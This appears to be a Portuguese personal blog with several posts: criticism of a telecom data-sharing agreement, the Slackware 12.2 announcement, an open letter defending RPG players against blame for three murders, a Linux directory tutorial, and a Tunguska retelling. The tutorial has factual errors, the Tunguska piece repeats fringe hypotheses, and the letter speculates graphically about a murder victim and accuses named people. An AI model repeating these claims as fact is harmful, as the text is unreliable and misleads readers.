Nós mudamos para

http://0fx66.com

Hi,blz?

Recentemente vi um post no br-linux, que me abriu os olhos para alguns fatos.

Vamos inicialmente a noticia:

“Assinatura do termo de mútua cooperação

As operadoras Oi, Brasil Telecom e TIM assinaram na quarta-feira (17) um “termo de mútua cooperação” elaborado pela Comissão Parlamentar de Inquérito (CPI) da Pedofilia.

O texto do documento, não divulgado publicamente antes de sua assinatura e ainda com circulação limitada – em formato PDF escaneado -, prevê a transferências de “dados de conexão” por “fornecedores de conteúdo e serviços de interativo” sem autorização judicial, assim como a manutenção dos chamados “logs de conexão” por três anos.

O termo é diferente do “Projeto Azeredo” sobre cibercrimes, que não cria responsabilidades para fornecedores de conteúdo. Há ainda prazos limite para o fornecimento da informação, que pode chegar a duas horas se houver “risco iminente à vida de criança ou adolescente”. Mas quem define se há “risco iminente à vida” quando não há necessidade autorização judicial? E por que a vida de “criança ou adolescente” é a única que o termo se propõe a proteger? Aparentemente a vida vale menos após o 18º aniversário.

Algumas das partes mais polêmicas do termo têm sua aplicação incerta porque, dentro de 60 dias, será formada uma Comissão de Acompanhamento e Prevenção. Essa comissão tem o poder de arbitrar a respeito de “casos omissos” do termo. Para a criação do regimento interno, a organização não-governamental Safernet terá a mesma quantidade de representes que todos os provedores de internet: um. Também haverá um representante de todos os Ministérios Públicos estaduais, um do MPF, um das operadoras de telefonia fixa, um das operadoras de telefonia móvel, um dos fornecedores de conteúdos e serviços e, por fim, um da PF, totalizando oito integrantes, totalizando oito responsáveis pela criação do regimento.

Quem e quantas pessoas exatamente participarão da Comissão, e como vão trabalhar, será definido por esse grupo.

O parágrafo referente aos dados cedidos sem autorização judicial é um dos que ainda terão detalhes especificados por essa comissão. O mesmo grupo ainda vai “discutir a eficácia” das medidas, ou seja: aprova-se o documento primeiro, verifica-se se ele é eficaz depois.

O conteúdo das comunicações telemáticas é protegido por ordem judicial. O termo exige que “fornecedores de conteúdo ou serviços de interatividade” armazenem toda a informação veiculada por pelo menos seis meses. Em tese, isso significa que aquele post que você fez em um blog, mas depois apagou, vai ficar seis meses nos servidores e está disponível caso alguém venha a requisitá-lo judicialmente. Não existe nada comparável no “PL Azeredo”, que ainda aguarda votação na Câmara.

O texto do termo ainda tem outros problemas e contradições. No parágrafo terceiro da cláusula quinta, os provedores são obrigados a garantir que os dados fornecidos correspondem aos armazenados em seus sistemas. Porém, o inciso II do parágrafo único na cláusula décima diz que “as empresas signatárias não são responsáveis pela veracidade das informações fornecidas por seus usuários”. Logo, basta às operadoras a propagação de uma mentira em vez de garantir a veracidade da informação.

A multa, no caso de descumprimento, varia de R$ 5 mil a R$ 25 mil reais (“PL Azeredo”: R$ 2 mil a R$100 mil). E se o número de solicitações for muito grande e o provedor não conseguir atendê-los a tempo? O texto do documento prevê isso, porém só “será considerado ‘volume mensal elevado’ o que [exceder] em trinta por cento a média de solicitações feitas nos três meses precedentes”. Dessa maneira, se as solicitações crescerem ordenadamente, qualquer número alto não será “elevado”.

Constam no documento assinaturas do Ministério Público Federal, da Polícia Federal, do Comitê Gestor da Internet e da Safernet Brasil. Oi e Brasil Telecom são responsáveis pela telefonia fixa e, por extensão, pela internet ADSL em todos os estados no Brasil, menos São Paulo. Isso significa que todos os usuários de internet ADSL dessas operadoras estarão sujeitos ao texto do termo, embora ele não seja “lei”. Claro, Telefônica e Vivo já se pronunciaram que também assinarão o termo.

Proteger as crianças é uma atitude nobre, assim como é também proteger a vida de qualquer ser humano, independentemente da idade. A atenção à criança e ao adolescente chega a um ponto em que é preciso questionar por que não há menção a outros casos e se esse “foco” não é apenas uma maneira de evitar questionamentos da proposta, dado a passionalidade que acompanha estes assuntos. Por exemplo, o termo pede que as empresas alterem seus contratos para permitir sua rescisão no caso de crimes contra crianças. Por acaso crimes contra adultos não são suficientes para rescisão de contrato?

Os prazos para o fornecimentos dos dados começam a valer somente 360 dias após a assinatura do termo. Até lá, talvez, todos já esqueceram do termo, cujo prazo de vigência é indeterminado.”

1º Fato

Não é muito mais muito estranho um acordo desses ser feito assim a portas fechadas?será que esse acordo foi feito tão perto do natal e ano novo só para que ninguém perceba que está sendo feito um acordo desses?
2º Fato

Por que será que fizeram um acordo para que os dados sejam entregues sem autorização judicial?

3º Fato

Vão realmente atrás dos pedifilos?ou os pedofilos são apenas um bode expiatório,será que não iria acontecer igual com o trafego de drogas?apreende-se algumas gramas mais deixam passar toneladas pelas costas e fingem que nem estão vendo…

Agora peço que realmente reflitam sobre isso.

Fonte da Noticia

Link com o acordo de mutua cooperação

[]’s

Hi,blz?

Após algum tempo meio longe do blog resolvi voltar a ativa,tive alguns problemas pessoais(malditas mulheres,com elas problemas é sem elas mais problemas ainda)mais enfim to de volta reativando o blog.

Um noticia até boa foi lançado  ontem dia 10 o Slackware 12.,não pude testa-lo ainda mais já estou baixando :).

Segue abaixo a nota oficial de lançamento.

“Yes folks, ’tis the season to announce a new release of Slackware. With a shiny new kernel, many package updates, and the newly added ability to install from a Samba share, we bring to you the latest in the stable Slackware 12.x series. Slackware 12.2 ships with the 2.6.27.7 Linux kernel, the Xorg 1.4.2 X server (with many driver, library, and application updates), Xfce 4.4.3, KDE 3.5.10, simplified wired and wireless networking with wicd in /extra, package upgrade management with slackpkg moved into the main tree, support for non-usb-storage digital cameras through libgphoto2, pm-utils (tools to support suspend and hibernate through HAL), and much, much more. This release brings the system up-to-date without compromising stability or compatibility with the 12.x series.

More details may be found in the official announcement.

If you like Slackware, please consider supporting the project by picking up a copy of Slackware 12.2 from the Slackware Store. The discs are off to replication now and pre-orders are being accepted for the official 6 CD or 1 DVD set. Also by popular demand, we now have black T-shirts with the original Slackware logo for sale. Check ‘em out!

Thanks are due to the Slackware crew, the developers of slackbuilds.org, the fine folks on linuxquestions.org, IRC, and everyone else who pitched in to help make this another great Slackware release. We couldn’t have done it without your help.

As always — have fun!

Pat and the Slackware crew”

Longa vida ao grande slackware o/

Link oficial sobre o anuncio

Links para o dvd full(via torrent)

[]’s

O RPG não influenciou NENHUM crime no Brasil

Carta aberta à mídia.

Peço a todos os jogadores de RPG que copiem este texto em seus blogs, sites, flogs, comunidades do orkut e onde mais puderem, pois não seremos mais usados como bodes expiatórios por delegados ineficazes, pastores evangélicos, vereadores oportunistas e jornalistas incompetentes.
O texto abaixo dá nome aos bois: às vítimas, aos assassinos e aos oportunistas que usaram os crimes para se promoverem. Chega de notícias distorcidas, incompletas e tendenciosas.

TERESÓPOLIS
Em 14 e 20 de Novembro de 2000, na cidade de Teresópolis (RJ), duas garotas de 14 (Iara dos Santos Silva) e 17 (Fernanda Venâncio Ramos) anos foram estupradas, torturadas e estranguladas com um intervalo de seis dias entre os crimes.
Sônia Ramos, 42, madrasta de Fernanda, a segunda vítima, levantou em um texto a suspeita de que as atrocidades pudessem estar ligadas ao jogo e que o RPG conduziria ao crime, porque sua filha (a VÍTIMA, que NÃO jogava RPG) andava na companhia de outros garotos que jogavam GURPS e Vampiro (sua alegação se baseou no fato de que sua filha andava as voltas “com pessoas que se fantasiavam de vampiros”).
Inclusive a polícia chegou a prender injustamente um jogador de RPG, que não vou falar o nome porque o coitado era inocente e não merece ter seu nome publicado, mas que passou quatro dias na cadeia por causa deste absurdo.
O verdadeiro assassino das garotas foi preso após o 5o crime, depois da prisão do RPGista; era um cigano e NUNCA sequer passou perto de um livro de RPG.
A imprensa irresponsável, assim como no caso famoso da “Escolinha Base”, foi muito rápida em divulgar versões fantasiosas sobre o “jogo da morte”, mas NUNCA publicou uma linha sequer se desculpando com os 400.000 jogadores de RPG que foram ofendidos em sua moral e prejudicados diante da sociedade.

OURO PRETO
No dia 10 de outubro de 2001, Aline Silveira Soares viajou do Espírito Santo com sua prima e alguns colegas para Ouro Preto para participar da “Festa do Doze”, que é uma espécie de Carnaval fora de hora entre as faculdades da região, com R$40,00 e a roupa do corpo para passar três dias.
Segundo o laudo, Aline consumiu drogas durante o dia anterior ao de sua morte. Esta informação foi confirmada por diversas testemunhas que também participavam da festa, em Ouro Preto (testemunhas que foram solenemente ignoradas pelo delegado Adauto Corrêa após as investigações tomarem o rumo circence). Aline não tinha dinheiro e acreditou que conseguiria fugir do traficante sem pagar pela droga que consumiu, mas no dia de sua morte (14 de Outubro de 2001), foi abordada pelo criminoso no caminho de volta para a república onde estava hospedada (o cemitério fica exatamente no meio do trajeto entre o local da festa e a república). Testemunhas (que também foram ignoradas no inquérito oficial) disseram ter visto Aline conversar com um conhecido traficante da cidade na porta do cemitério algumas horas antes de sua morte.
De acordo com especialistas em crimes relacionados a drogas, Aline provavelmente teria se oferecido para ter relações sexuais com o traficante para pagar a dívida, pois as roupas da garota foram encontradas “cuidadosamente dobradas e dispostas ao lado do local do crime, sem nenhum indício de violência ou de coerção”. Aline tomou o cuidado de deixar suas sobre uma das lápides, dobradas com a jaqueta por baixo, para que não sujassem.
Ainda segundo o laudo oficial da perícia técnica, durante a primeira facada que Aline recebeu, o corpo estava na posição acocorada, popularmente conhecida como “de quatro”. Segundo especialistas em crimes de estupro, o traficante provavelmente teria tentado obrigar Aline a realizar sexo anal, que possivelmente foi rejeitado pela garota, resultando no primeiro golpe com a faca. O traficante, tendo ferido Aline seriamente, não viu alternativa a não ser terminar de matá-la. Para disfarçar, o assassino colocou o corpo de Aline em posição deitada sobre a lápide (pelas fotos da perícia e rastros de sangue, pode-se atestar que o corpo foi movido APÓS a sua morte) para tentar atrapalhar as investigações.

Quando o corpo foi encontrado, os policiais começaram as investigações pelos locais em que Aline se hospedou e em uma das repúblicas foram encontrados alguns livros de RPG, que o delegado, evangélico confesso, classificou como “material satanista”. A partir disto, um vereador oportunista chamado Bentinho Duarte (sem partido) viu nisso uma chance de se promover realizando terrorismo psicológico e, junto com o Promotor Fernando Martins (conhecido por ter tentado proibir a distribuições de jogos como Duke Nuken e Carmagedon), moveu ação contra as empresas Devir Livraria e Daemon editora tentando a proibição de 3 títulos (Vampiro: a Máscara, Gurps Illuminati e Demônios: a Divina Comédia).

Resumindo: um crime que não teve nada a ver com RPG, mas sim com DÍVIDA DE DROGAS resultou até agora na prisão de 4 garotos injustamente (que NÃO são jogadores de RPG, fato comprovado pela mãe da vítima em depoimento ao vivo na rede Bandeirantes de TV) e um completo show de aberrações e absurdos na mídia.

GUARAPARI
Polícia Civil do Espírito Santo prendeu, na noite de 12 de Maio de 2005, dois acusados pelo assassinato do aposentado Douglas Augusto Guedes, da mulher dele, a corretora de imóveis Heloísa Helena Andrade Guedes, e do filho do casal Tiago Guedes, em Guarapari. Os corpos dos três foram encontrados amarrados e deitados em camas no dia 5 de maio. Na mesma data, eles foram sepultados.
O delegado da Divisão de Homicídios de Guarapari, Alexandre Linconl, evangélico, disse ao Portal Terra que os assassinos MAYDERSON DE VARGAS MENDES, 21 anos, e RONALD RIBEIRO RODRIGUES, 22, confessaram que eles mataram a família motivados pelo jogo, mas essa “confissão” não ocorreu imediatamente após o crime.
O crime que Mayderson e Ronald cometeram é o de LATROCÍNIO QUALIFICADO E PREMEDITADO, ou seja, mataram para roubar de uma maneira cruel e sem dar chance de defesa às vítimas, com premeditação. Esse é um crime hediondo, sendo julgado e condenado diretamente por um juiz criminal. Ambos os acusados já tinham ficha criminal (ambos estão respondendo processo por Porte ilegal de Arma)
O que o advogado de defesa da dupla estava fazendo era alegar que eles cometeram o crime influenciado pelo jogo e, com essa ação, tentar reverter o crime para Homicídio Simples, baseado no tal jogo que ninguém sabe o que é. Com isso, os assassinos iriam para um júri popular, que poderia ser muito bem influenciado por todo esse novo circo que a mídia sensacionalista armou e, jogando a culpa em cima do RPG, poderia até inocentar os “pobres coitadinhos vítimas do jogo” Mayderson e Ronald…
O que tem de ficar bem claro é o seguinte: os criminosos entraram na casa, apontaram armas para Tiago e sua família, doparam a família sob a mira do revólver, levaram o garoto até o caixa eletrônico onde roubaram R$ 4.000,00 de sua poupança e depois executaram friamente a família com tiros na cabeça, para não serem reconhecidos. A história do “RPG” só apareceu dois dias depois que os assassinos foram capturados pela polícia, sob orientação do advogado de defesa da dupla.
É bom lembrar, já que a mídia “esqueceu”, que, graças à intervenção da Daemon Editora e da conversa de Marcelo Del Debbio, escritor especialista em Role Playing Games, com o delegado de Guarapari ao vivo em uma entrevista na Rede Bandeirantes de TV, o advogado de defesa da dupla abandonou o caso, deixando os dois criminosos sem advogado à espera de um defensor público.

Com estes textos, podemos começar a nos defender dos três falsos “crimes do RPG”. Já está na hora destas informações serem passadas para jornalistas sérios que queiram nos ajudar a fazer a verdade aparecer.

Abraços fraternais

Fonte

Entendendo as estruturas e diretórios

Num sistema Linux geralmente temos uma estrutura de diretórios um pouco complexa. Os arquivos ali dispostos, a princípio, parecem estar jogados aleatoriamente nos diversos diretórios existentes. Mas, felizmente, há uma certa ordem e uma lógica fazendo com que cada diretório do sistema tenha uma finalidade específica.
Antes de irmos entender os diretórios precisamo dar uma pincelada e algumas informações uteis,que serão bem uteis em breve e também ajuda a entender o motivo dos diretórios(caso você esteja querendo ser um desenvolvedor ou e um).

Sistema de Arquivos

Sistema de arquivos é a forma que o sistema operacional usa para representar determinada informação em um espaço de armazenagem. É o método de identificar e indexar as informações que estão armazenadas em qualquer mídia: disquetes, discos rígidos, drives em memória, CDs, etc.

Quando se prepara um disco para o trabalho através do processo de formatação física, criam-se os meios magnéticos necessários para armazenar os dados. Este processo faz uma preparação do dispositivo de armazenagem para que ele possa receber um sistema de arquivos e futuramente os dados do usuário. Um sistema de arquivos, portanto, é necessário para manter padrões, para controlar o tamanho das partições, permissões de arquivos, tamanho dos arquivos e sua organização, entre muitas outras funções.

Será visto primeiramente quais os principais tipos de sistemas de arquivos que existem e que são criados em um processo de formatação:

ext: sistema de arquivos estendido (extended filesystem). É o sistema de arquivos mais utilizado no Linux. Existem ramificações (ext2 e ext3), sendo o ext3 o mais amplamente utilizado pela comunidade Linux atualmente. Ele fornece padrões para arquivos regulares, diretórios, arquivos de dispositivos, links simbólicos e suporte a transações (journalling), entre outras características avançadas.

vfat: este é o sistema de arquivos (volume FAT) dos sistemas Windows®9x e Windows NT®.

ntfs: este é o sistema de arquivos dos sistemas Windows2000®, Windows XP® e NT®, entre outros.

nfs: sistema de arquivos de rede, utilizado para acessar diretórios de máquinas remotas, que permite o compartilhamento de dados na rede.

reiserfs: sistema de arquivos com suporte a características como, por exemplo, melhor performance para diretórios muito grandes e suporte a transações (journalling).

iso9660: sistema de arquivos do CD-ROM.

hpfs: sistema de arquivos do OS/2®.]

continuando…..

Primeira coisa com que você precisa se habituar é que no Linux os discos e partições não aparecem necessariamente como unidades diferentes, como o C:, D:, E: do Windows. Tudo faz parte de um único diretório, chamado diretório raiz(root) ou simplesmente “/”.
Dentro deste diretório temos não apenas todos arquivos e as partições de disco, mas também o CD-ROM, drive de disquete e outros dispositivos, formando a estrutura que você vê no gerenciador de arquivos.

/bin - é o diretório que contém o mínimo necessário para funcionar e poder ser manuseado pelo administrador. Serão necessárias ferramentas que se encontram em outros diretórios para que a máquina fique operacional. A maioria dos programas possui o seu arquivo executável neste diretório.

/boot – contém informações para o gerenciador de inicialização do sistema. É aqui que normalmente fica o arquivo contendo o kernel da máquina e informações para o carregador do sistema operacional.

/cdrom – Não é propriamente um diretório, mas sim um link para o diretório /media/cdrom (ponto de montagem do dispositivo leitor de CD/DVD da máquina;

/dev – é o local onde ficam armazenadas as referências aos dispositivos presentes na máquina, para o controle destes dispositivos. Esse diretório contém apontadores para, por exemplo, o drive de disquetes, os discos da máquina, terminais virtuais, portas de acesso seriais e paralelas, etc. Os controladores são automaticamente criados durante a instalação do sistema e posteriormente podem ser criados através do comando MAKEDEV.

• devfs – contém todos arquivos-dispositivos, inclusive para dispositivos que não existem no computador e irá ocupar espaço em disco.
• udev – utilizado a partir do kernel 2.6.12, não ocupa espaço em disco e contém somente os arquivos-dispositivos dos devices presentes na máquina.

/etc – é um dos mais importantes diretórios da máquina. Nele ficam a maioria dos arquivos de configuração e manipulação dos serviços essenciais ao sistema, a maioria dos arquivos de configuração de acesso a rede e de comunicação, arquivos de configuração do Sistema de Janelas X, arquivos de configuração do idioma do sistema, de atualizações, enfim, de muitas funcionalidades da máquina.

/home – contém os diretórios pessoais dos usuários e suas configurações(funciona como a pasta Meu Documentos,no windows).

/lib – é o diretório onde ficam as bibliotecas básicas do sistema. Elas são compartilhadas por diversos programas, principalmente os que se encontram no diretório raiz.

/mnt – é o diretório utilizado para o acesso a dispositivos de mídia, como disquetes e CD-ROM. Ele é utilizado como ponto de montagem para a maioria destes dispositivos.

/proc- Não é bem um diretório. Trata-se de um filesystem virtual, cheio de arquivos virtuais, que na verdade são apenas referências dinâmicas dos procedures (procedimentos) do Kernel Linux, que são alteradas constantemente durante a utilização do sistema; fornece informações sobre o kernel e sobre os processos que estão rodando no momento, além de informações sobre a utilização de alguns dispositivos. Alguns parâmetros do kernel podem ser alterados diretamente nesses arquivos, fazendo com que as modificações passem a valer imediatamente. Esse diretório não ocupa espaço nenhum em disco e as informações ali presentes são geradas apenas quando solicitadas.

/root -  Esse é o diretório do superusuário do sistema (pode chamar de administrador se quiser, mas não perto de mim, pois me lembra do termo usado por outro sisteminha (semi)operacional proprietário do qual não gosto muito ;-)). O único usuário do sistema com permissão para realizar qualquer modificação no sistema. Aí você me pergunta: “Mas gmazk, se é uma pasta de usuário, porque não está dentro de /home ?”. E eu explico: conforme você vai ver na minha próxima publicação (a respeito de planejamento do particionamento da maquina e instalação do sistema), é conveniente durante a instalação do sistema, determinar que o diretório /home seja montado em uma partição separada da partição principal (onde estão os demais diretórios do sistema). Se o diretório root estivesse nessa partição separada (dentro de /home) e ocorresse com essa partição, o que costumo chamar de um “momento PUTZ… ferrou!”, a pasta /root também estaria inacessível, e como você já sabe, certas coisas só podem ser feitas no sistema pelo usuário root… Então você não poderia, por exemplo, inicializar o sistema para realizar uma recuperação nessa partição;

/opt – Se verificar o conteúdo deste diretório, MUITO provavelmente ele estará vazio. A idéia inicial deste diretório era armazenar programas que não fizessem parte da distribuição GNU/Linux instalada em seu sistema, porém, esse método de separação quase não é utilizado; Ele pode ser útil por questões de espaço.

/sbin contém ferramentas de interesse do superusuário e que geralmente são usadas por serviços básicos da máquina. Ficam nesse diretório programas como os responsáveis pela carga de módulos do kernel, ativação e interrupção das interfaces de rede, manutenção dos sistemas de arquivos e outras atividades.

/srv – É um diretório que sofre do mesmo problema de esquecimento e solidão que o diretório opt, pois não é utilizado nunca… A idéia inicial era usá-lo para armazenar dados que seriam disponibilizados por qualquer programa servidor que você utilizasse no sistema, mas foi outra idéia que “não pegou”;

/sys – O nome vem do sysfs (sys filesystem). É o diretório usado pelo Kernel Linux para manter dados atualizados sobre os dispositivos de hardware da máquina (não confunda, não é a mesma coisa que /dev, já que no /dev estão arquivos que servem de ligação com os dispositivos, e não informações sobre eles);

/tmp serve como repositório para arquivos temporários, sendo utilizado para programas que são executados após a ativação do sistema, ou seja, este diretório serve como espaço extra para vários programas e aplicações.

/var - Contém arquivos que são modificados com o decorrer do uso do sistema (e-mail , temporários, filas de impressão, manuais).

Dentro do /var encontramos:

/var/lib - Bibliotecas que mudam enquanto o sistema está rodando.
/var/local – Arquivos variáveis de programas que estão rodando.
/var/lock – Travas para indicar que um programa está utilizando um determinado dispositivo.
/var/log – Arquivos de log do sistema (erros, logins, etc..)
/var/run – Arquivos importantes ao sistema úteis até o próximo boot (atualizações de softwares e kernel).
/var/spool – Diretório de filas de impressão, e-mail e outros
/var/tmp – Arquivos temporários dos programas
/var/catman – Um cache para manuais que são formatados na hora de serem utilizados.

O diretório /usr

Este e um diretório interessante que preciso explicar melhor.O que tem nele?Contém os arquivos das ferramentas e dos aplicativos do usuário.

/usr bin :Contém ferramentas e aplicativos de cada usuário.Ao criar uma nova conta de usuário,o sistema cria automaticamente uma pasta /usr/bin
/usr dict :Diretório que são armazenados os dicionários(o nome dict deriva do inglês dictionary) e as listas de termos do usuário.
/usr/doc :Esse Diretório contem a documentação do sistema em uso.
/usr/info :Nesse Diretório encontramos os arquivos para o sistema GNU info,baseado em hipertextos
/usr/lib :Assim como o Diretório /bin da raíz contem as bibliotecas para execução das ferramentas,dessa vez,porem,trata-se dos componentes das ferramentas,dessa vez,porem,trata-se dos componentes das ferramentas que se encontram no Diretório /usr/bin
/usr/local :Essa pasta contem arquivos locais,ou seja,exclusivos para cada sistema(ou aplicativo),que incluem documentação(/usr/local/doc)e os programas em si(/usr/local/bin).
/usr/man :diretório que agrupa os manuais que podem ser lidos com o comando man.
/usr/share :Contém arquivos e componentes compartilhados por vários aplicativos.Nesse Diretório,encontramos diversos subdiretórios com arquivos de ajuda,ícones,etc.
/usr/src : Esse diretório contem o codigo-fonte(source)dos softwares disponiveis no sistema. Esses sources podem ser visualizados e alterados livremente.
/usr/tmp :E o diretório em que são colocacos os arquivos temporários gerados pelo usuário ativo.

Comandos do Sistema de Arquivos

Aqui estão os comandos para lidar com o sistema de arquivos (HDs, drives e partições de rede).

badblocks – Utilizado para encontrar defeitos físicos no HD.
cfdisk – Similar ao fdisk só que com uma interface melhorada.
df – Mostra o espaço livre no disco.
dosfsck Verifica e repara sistemas FAT do DOS.
du – Mostra o espaço que ocupa um diretório e os arquivos internos.
dump – Usado para fazer o backup de um sistema ext2. O complemento deste comando é o restore.
dumpe2fs – Faz o backup de blocos do HD e grupos.
e2fsck – Verifica um volume ext2 em busca de erros.
e2label – Muda o nome de uma partição ext2.
fdisk – Usado para criar, editar e apagar partições no HD.
fdformat – Formata um disquete.
mount – Usado para “montar” um sistema de arquivos. O complemento deste comando é o umount.
restore – Usado para restaurar um sistema ext2.
umount – Desmonta o sitema de arquivos. O complemento é o comando mount.
cdrecord – Grava CDs.
cdparanoia – Grava CDs de audio.

Manipulação de arquivos e diretórios

cd – Muda para um diretório. Se você não especificar nada ele muda para seu diretório HOME.
chmod – Muda as permissões para acesso aos arquivos e diretórios (Escrita, Leitura, etc..)
chown – Muda o propritário e grupo de um arquivo ou diretório.
chgrp – Muda o grupo de um arquivo ou diretório.
cp – Copia os arquivos de um diretório/pasta para outro diretório/pasta.
dir – Lista o conteúdo de um diretório (preferir o comando “ls”).
find – Procura arquivos com determinadas características na árvore de diretórios.
ln – Cria um link simbólico para um arquivo.
ls – Lista os arquivos de um diretório.
mc – Midinght Commander. Um gerenciador de arquivos completo para o console.
mkdir – Cria um diretório.
mv – Move ou renomeia um arquivo.
rm – Exclui arquivos.
rmdir – Exclui um diretório vazio.
vdir – Lista o conteúdo de um diretório.
wheris – Localiza o executável, código fonte e manual de um comando.
ghomemover_console – Programa escrito por Daniel Brooke Peig que faz a mudança de diretórios alterando as referências a arquivos.

Referencias:
http://www.guiadohardware.net/dicas/linux-entendendo-arvore-diretorios.html
http://www.danbp.org/linuxcom.html
http://www.conectiva.com/doc/livros/online/10.0/servidor/pt_BR/ch02.html

Tunguska,1908

Semenow tinha um velho hábito: levantar-se de madrugada, preparar-se para as tarefas do dia na fazenda e, por fim, observar o horizonte, à espera do despontar do sol. Naquele dia, Semenow viu surgirem dois sóis no horizonte: Um deles terrivelmente mortal. Nâo muito longe de sua fazenda; o boiadeiro Luchektan começava a tanger 1 .500 cabeças de gado. Luchektan era de temperamento menos comtenplativo , e para ele o sol tinha uma finalidade meramente utilitária: servia para iluminar e aquecer a Terra. Mas um sol era mais do que suficiente; de bom grado teria dispensado o segundo.

Nenhum daqueles dois homens sabia – na verdade, ninguem sabia – que aquele segundo sol era algo tâo desconhecido quanto fatal. Tudo aconteceu rnuito rapidamente , naquela manhâ de 30 de junho de 1908, e como o agente causador do fenomeno nâo deixou qualquer vestígio, até hoje nâo se tem ainda a noção exata do que se passou naquela regiâo da Sibéria, entre os rios Tunguska e Lena.

Na ocasiâo – e por muito tempo – pensou-se que o local havia sido atingido por um meteoro pesando muitas toneladas. Já na década de 40 e nos anos 60, chegara-se à conclusâo de que nâo era um meteoro, mas também nâo se tinha qualquer eerteza sobre o que teria sido. Fosse o que fosse, ao atingir a Terra liberara energia superior à da mais destruidora bomba de hidrogênio. Atualmente se considera a hipótese de que naquele dia, nosso mundo tenha sido atingido apenas por um grâo de poeira cósmica, algo menor que a cabeça de um alfinete, mas de bilhôes de toneladas. Acrrdita-se que o estranho e ínfimo corpusculo nâo deixou vestígio porqu ao colidir com a Terra à velocidade de 40 mil quilometros horários , ele atravessou o planeta numa fração de tempo e saiu num ponto do Polo Norte rumando novamente espaço afora.

Em termos astronômicos, o fenomeno —- qualquer que tenha sido — foi tâo rápido e inconseqüente como se nâo tivesse acontecido . Em termos terrestres e principalmente humano, foi algo tâo terrífico que ainda hoje, passado quase setenta anos; continua deixando perplexo os que procuram entender o que aconteceu naquele dia .

Eram 7 horas da manhã , quando o fazendeiro Semenow, que contemplava o nascer do Sol, viu o céu se iluminar com uma luz fantasmagórica. Um calor sufocante o atingiu e ele ainda pôde ver um segundo sol cortando o céu a grande velocidade. 0 estranho astro desapareceu no horizonte e, antes que Semenow pudesse imaginar o que acontecia uma onda de ar quente o envolveu e o arrancou do solo; a sensaçâo, diria ele depois, era de que estava sendo consumido em chamas. Ao cair de novo no châo, perdeu os sentidos. Voltando a si, ainda atordoado e perplexo demais para pensar, olhou ao redor e levou outro susto: sua casa havia sido volatilizado, e toda a paisagem ao redor apresentava o aspecto de terra arrasada.

0 boiadeiro Luchektan tocava suas reses em meio da penumbra que se dissipava, para dar lugar ao sol que surgia. Subitamente o céu se iluminou, estranha e rapidamente demais para ser normal. Luchektan sentiu o calor de fornalha e a onda engolfante de ar quente. Antes de desmaiar, ainda viu um homem, seu cavalo, vacas e bezerros sendo arrastados. Depois, só havia devastação: algumas carcaças de gado jaziam entre os restos de vegetaçâo arrancada do solo e nada rnais; nenhum outro sinal de vida.

A 750 quilometros dalí , uma locomotiva pontilhava o ar com golfadas de fumaça e vapor, enquanto arrastava a cornposiçâo de passageiros, a maioria dos quais ressonando pesadamente depois de uma noite mal dormida. Alguns rnais despertos ouviram o rumor longinquo, abafado, indistinto. Notaram que o rumor aumentava rápidamente de intensidade; algo como o ribombar de um trovâo que viesse de encontro ao trem. Inesperadamente, os vidros das janelas quebraram- se, cortinas foram arrancadas dos suportes, a madeira estalou e partiu, o trem inteiro sacudiu, pessoas gritaram.

A onda de ar que arrasara a fazenda de Semenow e matara a boiada de Luchektan contiriuava se propagando e destruindo, com força ainda para arrancar dos trilhos um trem que trafegava a centenas de quiIometros do local onde surgiira. No caminho, ela foi secando a àgua de rios e riachos, e produziu um abalo subterrâneo que se propagou além dos limites da Sibéria e da Rússia e que foi registrado pelo sismógrafo de um observatório inglês a mais de 8 mil quilometros de distância. Paralelamente, o observatório astronômico de lrkutsk, situado na Sibéria a poucos quilometros da fronteira com a Mongólia, assinalou inexplicável alteração no campo magnético terrestre.

Cientistas se dirigiram ao local do impacto para examinar os destroços daquilo que seria um provável meteoro, e especialmente para exarninar o seu núcleo, que – acreditava-se – estaria enterrado muitos metros abaixo da cratera que forçosamente teria se formado no ponto de colisâo com a crosta terrestre. Decepçâo constrangedora: ao redor, num raio de 32 quilometros, a floresta ficara inteiramente calcinada e desaparecera todo e qualquer sinal de vida, mas nâo havia um único estilhaço de meteoro, e mais surpreendente ainda, nâo havia nenhuma cratera na área.

À falta de melhor explicação, imaginou-se que o meteoro, ao se aquecer subitamente no atrito com a atmosfera densa, desintegrara-se antes de atingir o solo razão pela qual não teria ocorrido a colisão nem se formado a inevitável cratera. Mas outros contestaram esse argumento, afirmando que em tal hipótese, os fragmentos teriam se espalhados nas redondeza e teriam sido localizados, coisa que não aconteceu. Afinal, o que teria atingido a Terra naquele dia?

Se fosse um meteoro convencional, que tivesse deixado cratera todos demais vestígios de praxe , o caso teria sido academicamente estudado, catalogado e esquecido. Porém, o mistério que cercou o fenômeno serviu para aguçar a curiosidade dos cientistas, obrigando-os a queimar uma quantidade inusitada de fosfato, na tentativa de solucionar a questão. Se não chegaram a uma conclusão, pelo menos levantaram várias hipóteses e elaboraram muitas teorias a respeito do fenômeno.

Apesar de os indícios não ajudarem, no início prevaleceu a idéia que teria sido mesmo um meteoro agente causador dos danos e abalos naquele 30 de junho. Houve mesmo quem calculasse seu peso: 40 mil toneladas, nem um grama a menos Nos anos e décadas seguintes, porém , uma das principais teorias sobre o fenômeno foi a da anti-matéria, ou do universo inverso, onde existiriam anti-astros, cujos núcleos atômicos seriam idênticos, mas opostos aos das galáxias. Nesse quadro, o que se chocou com o solo siberiano, naquela ocasião, não foi um bólido de estrutura atômica conhecida, mas um pequeno fragmento de anti-matéria, possivelmente tamanho de uma bola de pingue-pongue.

0 contato do fragmento de anti-matéria com a superfície terrestre teria provocado imensa explosâo, que liberou energia superior a qualquer bomba então conhecida. Essa teoria, lançada em meados da década da passada pelos físicos C. Atluri e Clyde Cowan, pareceu fantástica entâo, mas nâo tanto quanto à lançada no final de 1976 pelos cientistas soviéticos Vladimir Stulov e Georgi Petrov. Segundo eles, o misterio fenomeno siberiano foi provocado por uma gigantesca bola de neve, remanescente do núcleo de um cometa.

O bólido de neve, desenvolvendo uma velocidade de 40 mil quilômetros horários, penetrou na atmosfera terrestre e, graças à sua baixíssima temperatura, manteve-se incólume até chegar à altitude de 80 quilômetros. A partir daí, à medida que o caía, maior se tornou o atrito com as camadas mais densas de ar, produzindo uma coluna incandescente. Por fim, o rápido e intenso aumento de calor provocou a desintegração da esfera de gelo; resultando uma explosão tão potente que arrasou toda a espécie de vegetação num raio de dezenas de quilômetros, produziu danos a centenas de quilômetros e foi ouvida em regiões muito distantes.

